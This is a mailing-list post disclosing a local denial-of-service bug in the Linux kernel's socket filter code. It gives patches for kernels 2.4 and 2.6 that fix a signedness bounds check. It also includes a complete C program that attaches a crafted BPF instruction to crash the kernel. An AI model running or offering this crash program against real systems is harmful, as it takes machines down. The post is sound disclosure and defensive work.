Local dos in linux socket filters

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



Dave Miller asked me to post this so it is public:

The Linux Socket Filter implementation contains a bug which
can lead to a local dos. Due to a unsigned->signed conversion
and insufficient bounds checking it is possible to crash the kernel
by accessing unmapped memory. The bug was introduced
during the attempt to fix other signedness issues in 2.4.3-pre3.

The attached two patches for 2.4 and 2.6 fix the problem (already
in davem's tree). Also attached is a program to crash your kernel.

Bye,
Patrick
===== filter.c 1.3 vs edited =====
--- 1.3/net/core/filter.c	Tue Feb  5 08:40:16 2002
+++ edited/filter.c	Fri Jul 25 02:16:30 2003
@@ -294,10 +294,9 @@
 				goto load_b;
 
 			case BPF_LDX|BPF_B|BPF_MSH:
-				k = fentry->k;
-				if(k >= 0 && (unsigned int)k >= len)
+				if(fentry->k >= len)
 					return (0);
-				X = (data[k] & 0xf) << 2;
+				X = (data[fentry->k] & 0xf) << 2;
 				continue;
 
 			case BPF_LD|BPF_IMM:
===== net/core/filter.c 1.6 vs edited =====
--- 1.6/net/core/filter.c	Thu Jun  5 02:57:08 2003
+++ edited/net/core/filter.c	Fri Jul 25 02:35:07 2003
@@ -256,10 +256,9 @@
 			k = X + fentry->k;
 			goto load_b;
 		case BPF_LDX|BPF_B|BPF_MSH:
-			k = fentry->k;
-			if (k >= 0 && (unsigned int)k >= len)
+			if (fentry->k >= len)
 				return 0;
-			X = (data[k] & 0xf) << 2;
+			X = (data[fentry->k] & 0xf) << 2;
 			continue;
 		case BPF_LD|BPF_IMM:
 			A = fentry->k;
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <net/bpf.h>
#include <errno.h>

int main(int argc, char **argv)
{
	struct sockaddr_in sin;
	struct bpf_program bp;
	struct bpf_insn buf[10];
	char rcvbuf[2000];
	int i = 0;
	int fd;

	fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
	if (fd < 0) {
		perror("socket");
		exit(1);
	}

	memset(buf, 0, sizeof(buf));

	buf[i].code = BPF_LDX|BPF_B|BPF_MSH;
	buf[i].k    = (1<<31) + (1<<29);
	i++;
	
	buf[i].code = BPF_RET;
	i++;

	bp.bf_len = i;
	bp.bf_insns = buf;

	if (setsockopt(fd, SOL_SOCKET, SO_ATTACH_FILTER, &bp, sizeof(bp)) < 0) {
		perror("setsockopt");
		exit(1);
	}

	sin.sin_family      = AF_INET;
	sin.sin_addr.s_addr = INADDR_ANY;
	sin.sin_port        = htons(10000);

	if (bind(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
		perror("bind");
		exit(1);
	}

	if (recvfrom(fd, rcvbuf, sizeof(rcvbuf), 0, NULL, 0) < 0) {
		perror("recvfrom");
		exit(1);
	}
}

[Index of Archives]     [Netdev]     [Ethernet Bridging]     [Linux 802.1Q VLAN]     [Linux Wireless]     [Kernel Newbies]     [Security]     [Linux for Hams]     [Netfilter]     [Git]     [Bugtraq]     [Yosemite News and Information]     [MIPS Linux]     [ARM Linux]     [Linux RAID]     [Linux PCI]     [Linux Admin]     [Samba]

  Powered by Linux